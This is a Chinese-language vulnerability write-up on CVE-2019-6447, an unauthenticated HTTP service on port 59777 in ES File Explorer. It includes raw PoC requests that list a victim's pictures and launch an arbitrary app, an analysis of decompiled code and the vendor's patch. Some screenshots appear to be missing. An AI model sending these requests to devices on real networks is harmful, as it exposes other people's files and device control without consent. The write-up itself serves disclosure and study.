ES文件管理器未授权访问漏洞（CVE-2019-6447）

漏洞描述

在受害者ES文件管理器启动一次后，会开放TCP端口59777作为HTTP服务器。攻击者可在没有访问控制的wifi环境下通过构造json请求，读取受害者的文件，启动受害者任意app。受害者手机无需root，攻击者也无需授权凭据。

影响范围：

ES文件管理器 4.1.9.7.4 and below
经测试在root和非root手机上4.1.9.4版本ES文件管理器均受影响（http://shouji.360tpcdn.com/181228/05cb0c6029569ec5c58a65bc67aec843/com.estrongs.android.pop_10011.apk）

修复建议

升级到4.1.9.9；或对wifi网络进行访问控制，禁止同Wi-Fi网络下不同设备互相访问。

PoC

列出所有图片

POST / HTTP/1.1
Host: 192.168.199.183:59777
User-Agent: curl/7.54.0
Accept: */*
Content-Type: application/json
Content-Length: 22
Connection: close

{"command":"listPics"}

启动任意app（以chrome为例）

POST / HTTP/1.1
Host: 192.168.199.238:59777
User-Agent: curl/7.54.0
Accept: */*
Content-Type: application/json
Content-Length: 63
Connection: close

{"command":"appLaunch", "appPackageName": "com.android.chrome"}

简要分析

主要在这两个文件。

com/estrongs/android/f/a.java
com/estrongs/fs/impl/adb/c.java

经过一番查找

grep -rn "XXX" *

之后终于找到从入口Activity到最终启动HTTP服务的过程。这里有一些关于jadx反编译到java代码
命名的坑。
先从AndroidManifest.xml中找到入口:com.estrongs.android.pop.app.openscreenad.NewSplashActivity。

或者从app启动之后在命令行adb命令也可以找到：

adb shell dumpsys activity top |head -2

onCreate和onStart都没啥

在这里插入图片描述
看一看onResume

其中i和k都为false，而j为空字符串。

所以并不进入233行都if，而是进入236行。这里f.c(this)其实就是检查权限，检查通过之后，返回true，然后执行e():

由于这里都j为空字符串，所以进入else if。
b.c(this)也是检查同意协议之类的，然后进入g():
在这里插入图片描述
h只是初始化控件，
而i()：

将i设置为true。
通过NewSplashActivity.this.a()之后会发送异步消息

this.l.sendEmptyMessageDelayed()

当传入当参数message.what为1时，

调用this.k()：

启动com/estrongs/android/pop/view/FileExplorerActivity:

i从0开始，开始在这些端口进行监听。

最终在59777端口进行监听。

判断参数并执行相应命令

启动app

当请求当第一个参数command为appLaunch时，

判断其appPackageName参数，通过startActivity方法启动对应的app。

若未提供第二个参数，则响应500 Internal Server Error。

安装/卸载app？

漏洞修复

从apkpure.com下载最新当4.1.9.9版本：ES File Explorer File Manager_v4.1.9.9_apkpure.com.apk
发现es/qg.java中，加了一个方法用于判断，如果这个方法返回false，则直接响应500，

不进行下面的操作。

其中ao.d()

增加了一个判断，只有当(UiModeManager)v0).getCurrentModeType()== 4时，才返回true，才能使d()返回true；否则为false。

至于这个(UiModeManager)v0).getCurrentModeType()何时为4，我就不懂了，不是很熟悉这个API。